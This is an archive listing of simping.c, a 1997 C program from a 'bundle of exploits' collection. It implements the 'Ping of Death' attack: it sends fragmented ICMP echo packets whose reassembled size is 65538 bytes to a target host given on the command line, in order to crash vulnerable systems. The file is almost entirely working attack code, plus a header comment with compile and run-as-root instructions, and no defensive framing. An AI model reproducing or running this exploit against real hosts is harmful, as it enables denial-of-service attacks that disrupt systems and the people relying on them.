home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / simping.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  108 lines

  1. /*
  2.  * simping.c
  3.  * Adapted by Simple Nomad <thegnome@fastlane.net> 11-Feb-1997
  4.  *
  5.  * Simulate the evil win95 "ping -l 65510 buggyhost".
  6.  * Based off of win95ping.c by Bill Fenner <fenner@freebsd.org> 22-Oct-1996
  7.  * 
  8.  * compile using "cc -o evilping simping.c"
  9.  *
  10.  * Must be run as root to properly grab socket.
  11.  *
  12.  */
  13. #define __BSD_SOURCE
  14.  
  15. #include <stdio.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netdb.h>
  19. #include <netinet/in.h>
  20. #include <netinet/in_systm.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/ip_icmp.h>
  23.  
  24. #define IP_MF 0x2000
  25.  
  26. /*
  27.  * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
  28.  */
  29. #ifdef REALLY_RAW
  30. #define FIX(x)  htons(x)
  31. #else
  32. #define FIX(x)  (x)
  33. #endif
  34.  
  35. int
  36. main(int argc, char **argv)
  37. {
  38.         int s;
  39.         char buf[1500];
  40.         struct ip *ip = (struct ip *)buf;
  41.         struct icmphdr *icmphdr = (struct icmphdr *)(ip + 1);
  42.         struct hostent *hp;
  43.         struct sockaddr_in dst;
  44.         int offset;
  45.         int on = 1;
  46.  
  47.         bzero(buf, sizeof buf);
  48.  
  49.         if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
  50.                 perror("socket");
  51.                 exit(1);
  52.         }
  53.         if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  54.                 perror("IP_HDRINCL");
  55.                 exit(1);
  56.         }
  57.         if (argc != 2) {
  58.                 fprintf(stderr, "usage: %s hostname\n", argv[0]);
  59.                 exit(1);
  60.         }
  61.         if ((hp = gethostbyname(argv[1])) == NULL) {
  62.                 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  63.                         fprintf(stderr, "%s: unknown host\n", argv[1]);
  64.                 }
  65.         } else {
  66.                 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  67.         }
  68.         printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  69.         ip->ip_v = 4;
  70.         ip->ip_hl = sizeof *ip >> 2;
  71.         ip->ip_tos = 0;
  72.         ip->ip_len = FIX(sizeof buf);
  73.         ip->ip_id = htons(4321);
  74.         ip->ip_off = FIX(0);
  75.         ip->ip_ttl = 255;
  76.         ip->ip_p = 1;
  77.         ip->ip_csum = 0;                 /* kernel fills in */
  78.         ip->ip_src.s_addr = 0;          /* kernel fills in */
  79.  
  80.         dst.sin_addr = ip->ip_dst;
  81.         dst.sin_family = AF_INET;
  82.  
  83.         icmphdr->type = ICMP_ECHO;
  84.         icmphdr->code = 0;
  85.         icmphdr->checksum = htons(~(ICMP_ECHO << 8));
  86.                 /* the checksum of all 0's is easy to compute */
  87.  
  88.         for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  89.                 ip->ip_off = FIX(offset >> 3);
  90.                 if (offset < 65120)
  91.                         ip->ip_off |= FIX(IP_MF);
  92.                 else
  93.                         ip->ip_len = FIX(418);  /* make total 65538 */
  94.                 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  95.                                         sizeof dst) < 0) {
  96.                         fprintf(stderr, "offset %d: ", offset);
  97.                         perror("sendto");
  98.                 }
  99.                 if (offset == 0) {
  100.                         icmphdr->type = 0;
  101.                         icmphdr->code = 0;
  102.                         icmphdr->checksum = 0;
  103.                 }
  104.         }
  105. }
  106.  
  107.  
  108.